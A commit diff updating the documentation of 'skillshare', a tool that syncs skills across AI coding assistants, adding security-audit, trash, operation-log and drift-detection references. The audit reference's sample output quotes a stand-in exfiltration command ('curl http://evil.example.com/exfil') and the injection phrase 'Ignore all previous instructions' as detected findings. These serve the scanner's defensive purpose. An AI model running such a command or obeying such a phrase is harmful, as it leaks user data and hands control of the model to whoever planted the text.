docs(skill): update built-in skill to v0.11.0 with audit, trash, log, and drift detection

Add new reference docs for security audit, trash (soft-delete), and
operation log commands. Update existing references with sync drift
detection, install audit blocking, SSH subpath syntax, and new Web UI
pages/API endpoints.
This commit is contained in:
Willie
2026-02-10 03:32:36 +08:00
parent 14bb54d6bd
commit f152245f27
8 changed files with 215 additions and 9 deletions
+30 -4
View File
@@ -1,6 +1,6 @@
---
name: skillshare
version: 0.10.0
version: 0.11.0
description: |
Syncs skills across AI CLI tools (Claude, Cursor, Windsurf, etc.) from a single source of truth.
Supports both global mode (~/.config/skillshare/) and project mode (.skillshare/ per-repo).
@@ -11,6 +11,9 @@ description: |
"diagnose skillshare", "doctor", "project skills", "init project", "project setup",
"scope skills to repo", "share skills via git", "web dashboard", "skillshare ui",
"launch dashboard", "open ui", "visual skill management",
"audit skills", "security scan", "scan for injection", "check skill safety",
"trash", "restore deleted skill", "undo uninstall", "empty trash",
"operation log", "show history", "what changed", "check for updates",
or any skill/target management across AI tools.
argument-hint: "[command] [target] [--dry-run] [-p|-g]"
---
@@ -47,6 +50,9 @@ skillshare sync
| **Remote** | `push`, `pull` | ✗ (use git) |
| **Skills** | `new`, `install`, `uninstall`, `update`, `check`, `search` | ✓ (`-p`) |
| **Targets** | `target add/remove/list` | ✓ (`-p`) |
| **Security** | `audit [name]` | ✓ (`-p`) |
| **Trash** | `trash list\|restore\|delete\|empty` | ✓ (`-p`) |
| **Log** | `log [--audit] [--tail N]` | ✓ (`-p`) |
| **Backup** | `backup`, `restore` | ✗ |
| **Web UI** | `ui` | ✓ (`-p`) |
| **Upgrade** | `upgrade [--cli\|--skill]` | — |
@@ -72,6 +78,7 @@ skillshare init -p # Interactive (user only
skillshare install user/repo --all # Install all
skillshare install user/repo -s pdf,commit # Select specific
skillshare install user/repo -y # Auto-accept
skillshare install user/repo --force # Override audit block
# Add new agents later
skillshare init --discover --select "windsurf,kilocode"
@@ -80,8 +87,24 @@ skillshare init -p --discover --select "windsurf"
### Safety
**Security audit:** `install` auto-scans skills. CRITICAL findings block install; use `--force` to override.
```bash
skillshare audit # Scan all skills
skillshare audit my-skill # Scan specific skill
skillshare install user/repo --force # Override CRITICAL block
```
**Soft-delete:** `uninstall` moves skills to trash (7-day retention). Restore with `trash restore`.
```bash
skillshare trash list # See trashed skills
skillshare trash restore my-skill # Undo uninstall
skillshare trash empty # Permanent delete all
```
**NEVER** `rm -rf` symlinked skills — deletes source. Always use:
- `skillshare uninstall <name>` to remove skills
- `skillshare uninstall <name>` to remove skills (goes to trash)
- `skillshare target remove <name>` to unlink targets
### Finding Skills
@@ -101,8 +124,11 @@ skillshare search <query> --json # JSON output
|-------|------|
| Init flags (global + project) | [init.md](references/init.md) |
| Sync/collect/push/pull | [sync.md](references/sync.md) |
| Install/update/new | [install.md](references/install.md) |
| Status/diff/list/search | [status.md](references/status.md) |
| Install/update/uninstall/new | [install.md](references/install.md) |
| Status/diff/list/search/check | [status.md](references/status.md) |
| Security audit | [audit.md](references/audit.md) |
| Trash (soft-delete) | [trash.md](references/trash.md) |
| Operation log | [log.md](references/log.md) |
| Target management | [targets.md](references/targets.md) |
| Backup/restore | [backup.md](references/backup.md) |
| Web dashboard (UI) | [ui.md](references/ui.md) |
@@ -6,9 +6,12 @@
|---------|----------|
| "config not found" | `skillshare init` (global) or `skillshare init -p` (project) |
| Target shows differences | `skillshare sync` |
| Sync drift warning | `skillshare sync` to re-link missing skills |
| Lost source files (global) | `cd ~/.config/skillshare/skills && git checkout -- .` |
| Lost source files (project) | `git checkout -- .skillshare/skills/` |
| Accidentally uninstalled | `skillshare trash restore <name>` (within 7 days) |
| Skill not appearing | `skillshare sync` after install |
| Install blocked by audit | `skillshare install ... --force` to override CRITICAL |
| Git push fails | Check remote: `git -C ~/.config/skillshare/skills remote -v` |
| Project mode not detected | Verify `.skillshare/config.yaml` exists in cwd |
| Wrong mode detected | Use `-p` (project) or `-g` (global) to force |
@@ -16,9 +19,11 @@
## Diagnostic Commands
```bash
skillshare doctor # Check environment
skillshare doctor # Check environment + sync drift
skillshare status # Overview (auto-detects mode)
skillshare diff # Show differences
skillshare log # Recent operations and audit log
skillshare log --audit # Security scan history
ls -la ~/.claude/skills # Check global symlinks
ls -la .claude/skills # Check project symlinks
```
+62
View File
@@ -0,0 +1,62 @@
# Security Audit
Scan skills for prompt injection, data exfiltration, credential access, destructive commands, obfuscation, and suspicious URLs.
## Usage
```bash
skillshare audit # Scan all skills
skillshare audit <name> # Scan specific skill
skillshare audit -p # Scan project skills
```
## Severity Levels
| Level | Meaning | Install behavior |
|-------|---------|-----------------|
| **CRITICAL** | Prompt injection, data exfil, credential theft | **Blocked** (use `--force` to override) |
| **HIGH** | Destructive commands, suspicious URLs | Warning shown |
| **MEDIUM** | Obfuscation, encoded content | Warning shown |
## Install Integration
`skillshare install` auto-scans after download:
- **CRITICAL findings → install blocked.** User must `--force` to proceed.
- **HIGH/MEDIUM findings → warning displayed** after successful install.
- Web UI shows a confirm dialog on CRITICAL block with "Force Install" option.
```bash
skillshare install user/repo # Auto-audit, block on CRITICAL
skillshare install user/repo --force # Override CRITICAL block
```
## Output
Per-skill results with tree-style findings:
```
[1/5] ✓ my-skill (12ms)
[2/5] ! risky-skill (8ms)
├─ HIGH: suspicious URL pattern (scripts/run.sh:14)
│ > curl http://evil.example.com/exfil
└─ MEDIUM: base64 encoded content (SKILL.md:42)
> echo "aGVsbG8=" | base64 -d
[3/5] ✗ bad-skill (5ms)
└─ CRITICAL: prompt injection attempt (SKILL.md:3)
> Ignore all previous instructions
```
Summary box:
```
Scanned: 5 | Passed: 3 | Warning: 1 | Failed: 1
```
## Logging
Audit results are logged to `audit.log` (JSONL). View with:
```bash
skillshare log --audit
```
+7 -2
View File
@@ -23,6 +23,7 @@ github.com/user/repo # Discovers skills in repo
github.com/user/repo/path # Direct subdirectory
https://github.com/... # HTTPS URL
git@github.com:... # SSH URL
git@host:owner/repo//subdir # SSH with subpath (// separator)
# Local
~/path/to/skill # Local directory
@@ -67,6 +68,8 @@ skillshare install anthropics/skills -s pdf -p # Selective + project mode
**Project `install -p` (no source):** Installs all remote skills listed in `.skillshare/config.yaml`. Useful for new team members.
**Security audit:** Install auto-scans skills after download. CRITICAL findings block install — use `--force` to override. HIGH/MEDIUM shown as warnings.
**After install:** `skillshare sync`
## check
@@ -110,11 +113,11 @@ skillshare update _repo --force -p # Discard local changes
## uninstall
Remove a skill from source.
Remove a skill from source. Moves to trash (7-day retention) instead of permanent deletion.
```bash
# Global
skillshare uninstall my-skill # With confirmation
skillshare uninstall my-skill # With confirmation → moves to trash
skillshare uninstall my-skill --force # Skip confirmation
# Project
@@ -122,6 +125,8 @@ skillshare uninstall my-skill -p # Remove from .skillshare/skills/
skillshare uninstall my-skill --force -p # Skip confirmation
```
**Undo:** `skillshare trash restore <name>` to recover. See [trash.md](trash.md).
**After uninstall:** `skillshare sync`
## new
+49
View File
@@ -0,0 +1,49 @@
# Operation Log
JSONL-based persistent audit trail. All mutating commands (sync, install, uninstall, audit, etc.) are logged automatically.
## Usage
```bash
skillshare log # Show operations + audit logs
skillshare log --audit # Audit log only
skillshare log --tail 50 # Last 50 entries per section
skillshare log --clear # Clear operations log
skillshare log --clear --audit # Clear audit log
skillshare log -p # Project logs
```
## Flags
| Flag | Description |
|------|-------------|
| `--audit, -a` | Show audit log only |
| `--tail, -t <N>` | Last N entries (default: 20) |
| `--clear, -c` | Clear selected log file |
| `-p, --project` | Project-level logs |
| `-g, --global` | Global logs |
## Log Files
| File | Contents |
|------|----------|
| `operations.log` | All CLI commands (sync, install, update, etc.) |
| `audit.log` | Security scan results |
Location: `~/.config/skillshare/` (global) or `.skillshare/` (project).
## Output Format
```
2026-02-10 14:30:01 sync targets=3, scope=global ok 120ms
2026-02-10 14:29:15 install source=user/repo, name=pdf ok 2.1s
2026-02-10 14:28:00 audit skill=*, scanned=5, failed=1 error 340ms
```
Fields: timestamp, command, detail, status, duration.
## Status Colors (TTY)
- **Green**: ok
- **Red**: error, blocked
- **Yellow**: partial
+3 -1
View File
@@ -13,6 +13,8 @@ skillshare status -g # Force global
Project mode output includes: source path, targets with sync mode, remote skills list.
**Sync drift detection:** Warns when targets have fewer linked skills than source (merge mode). Example: `⚠ claude: 3 skill(s) not synced (12/15 linked)`. Run `skillshare sync` to fix.
## diff
Show differences between source and targets.
@@ -55,7 +57,7 @@ skillshare search <query> -n 10 # Limit results (default: 20)
## doctor
Diagnose configuration and environment issues.
Diagnose configuration and environment issues. Also checks for sync drift.
```bash
skillshare doctor
+44
View File
@@ -0,0 +1,44 @@
# Trash (Soft-Delete)
`skillshare uninstall` moves skills to trash with 7-day retention instead of permanent deletion.
## Commands
```bash
skillshare trash list # List trashed skills (alias: ls)
skillshare trash restore <name> # Restore to source
skillshare trash delete <name> # Permanently delete one (alias: rm)
skillshare trash empty # Permanently delete all (confirmation required)
```
## Project Mode
```bash
skillshare trash list -p # Project trash
skillshare trash restore <name> -p # Restore to project source
skillshare trash delete <name> -p # Delete from project trash
skillshare trash empty -p # Empty project trash
```
Auto-detects mode when `.skillshare/config.yaml` exists.
## Behavior
- **7-day TTL**: Items auto-expire after 7 days
- **Restore**: Copies skill back to source directory; run `skillshare sync` afterward
- **Empty**: Requires interactive confirmation (`y/yes`)
- **List output**: Shows name, size, and age (minutes/hours/days)
## AI Usage
```bash
# Undo an accidental uninstall
skillshare trash list # Find the skill
skillshare trash restore my-skill # Restore it
skillshare sync # Re-sync to targets
# Clean up
skillshare trash delete old-skill # Remove specific item
```
**Note:** `trash empty` requires interactive confirmation — not suitable for non-interactive AI use.
+14 -1
View File
@@ -29,9 +29,12 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd.
| **Dashboard** | Overview cards — skill count, target count, sync mode, version |
| **Skills** | Searchable skill grid with metadata. Click to view SKILL.md |
| **Install** | Install from local path, git URL, or GitHub shorthand |
| **Targets** | Target list with status badges. Add/remove targets |
| **Targets** | Target list with status badges and drift indicators. Add/remove targets |
| **Sync** | Sync controls with dry-run toggle. Diff preview |
| **Collect** | Scan targets and collect selected skills back to source |
| **Audit** | Security scan all skills. Severity badges per finding |
| **Trash** | List/restore/delete/empty trashed skills |
| **Log** | Operation and audit log viewer |
| **Backup** | View/restore/cleanup backups (global only) |
| **Git Sync** | Push/pull source repo (global only) |
| **Search** | GitHub skill search with one-click install |
@@ -42,8 +45,10 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd.
When running with `-p`, the dashboard adapts:
- **Git Sync** and **Backup** pages are hidden
- **Audit**, **Trash**, and **Log** pages adapt to project scope
- **Config** edits `.skillshare/config.yaml`
- **Install** reconciles remote skill entries in project config
- **Install** shows confirm dialog on CRITICAL audit findings with "Force Install" option
- **"Project" badge** in the sidebar indicates mode
## REST API
@@ -70,6 +75,14 @@ curl -X POST http://127.0.0.1:19420/api/sync -d '{"dryRun":true}'
| GET | `/api/diff` | Diff between source and targets |
| GET | `/api/search?q=` | Search GitHub for skills |
| POST | `/api/install` | Install a skill from source |
| GET | `/api/audit` | Scan all skills |
| GET | `/api/audit/{name}` | Scan specific skill |
| GET | `/api/trash` | List trashed skills |
| POST | `/api/trash/{name}/restore` | Restore from trash |
| DELETE | `/api/trash/{name}` | Delete from trash |
| DELETE | `/api/trash` | Empty trash |
| GET | `/api/log` | Operation log entries |
| GET | `/api/log/audit` | Audit log entries |
| GET | `/api/config` | Get config as YAML |
| PUT | `/api/config` | Update config YAML |